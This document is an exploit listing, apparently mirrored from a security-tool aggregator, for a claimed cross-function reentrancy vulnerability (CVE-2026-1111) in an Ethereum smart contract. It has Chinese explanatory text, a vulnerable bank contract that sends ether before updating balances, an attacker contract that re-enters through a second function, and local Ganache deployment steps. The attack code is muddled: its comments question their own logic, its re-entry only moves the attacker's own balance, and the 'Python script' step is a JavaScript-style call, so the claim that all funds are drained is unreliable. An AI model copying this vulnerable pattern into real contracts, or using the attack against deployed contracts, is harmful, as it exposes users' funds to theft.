Exploit for CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GEORGE0PAPASOTIRIOU-CVE-2026-1111-SMART-CONTRACT-CROSS-FUNCTION-REENTRANCY
## CVE-2026-1111 – 智能合约跨函数重入

### **程序代码（Solidity + Python）**

root@kitploit:~
    
    
    // VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
    pragma solidity ^0.8.0;
    
    contract VulnerableBank {
        mapping(address => uint256) public balances;
    
        function deposit() public payable {
            balances[msg.sender] += msg.value;
        }
    
        function withdraw(uint256 amount) public {
            require(balances[msg.sender] >= amount, "Insufficient balance");
            (bool success, ) = msg.sender.call{value: amount}("");
            require(success, "Transfer failed");
            balances[msg.sender] -= amount;
        }
    
        // Second function that also modifies state after external call? Not present.
        // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
        // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
        function transferTo(address to, uint256 amount) public {
            require(balances[msg.sender] >= amount);
            balances[msg.sender] -= amount;
            balances[to] += amount;
        }
    }
    // Attacker contract:
    contract Attacker {
        VulnerableBank bank;
        constructor(address _bank) { bank = VulnerableBank(_bank); }
        fallback() external payable {
            if (address(bank).balance >= 1 ether) {
                // Re-enter via transferTo instead of withdraw
                bank.transferTo(address(this), 1 ether); // this changes balances mapping
                // then later withdraw again? The point is to exploit reentrancy across functions.
            }
        }
        function attack() public payable {
            bank.deposit{value: 1 ether}();
            bank.withdraw(1 ether);
        }
    }
    
    

# CVE-2026-1111 – 智能合约中的跨函数重入

![Severity: Critical](https://img.shields.io/badge/severity-critical-red)

## 概述

该智能合约缺少全局重入防护，攻击者可以在 `withdraw` 调用期间通过另一个函数重新进入合约，绕过局部防护并耗尽资金。

## 漏洞详情

  * **类型：** 重入
  * **影响：** 窃取所有锁定的以太币。
  * **根本原因：** `withdraw` 函数在外部调用之后才更新余额，而另一个修改状态的函数（`transferTo`）可以被重入调用，从而操纵余额。



## 漏洞利用演示

  1. 启动本地以太坊节点（Ganache）： 

root@kitploit:~
         
         ganache-cli
         

  2. 使用 Remix 或 Truffle 部署 VulnerableBank.sol 和 Attacker.sol。
  3. 通过 Python 脚本执行攻击（使用 Remix 控制台模拟）： 

root@kitploit:~
         
         attacker.attack({value: web3.utils.toWei("1", "ether")})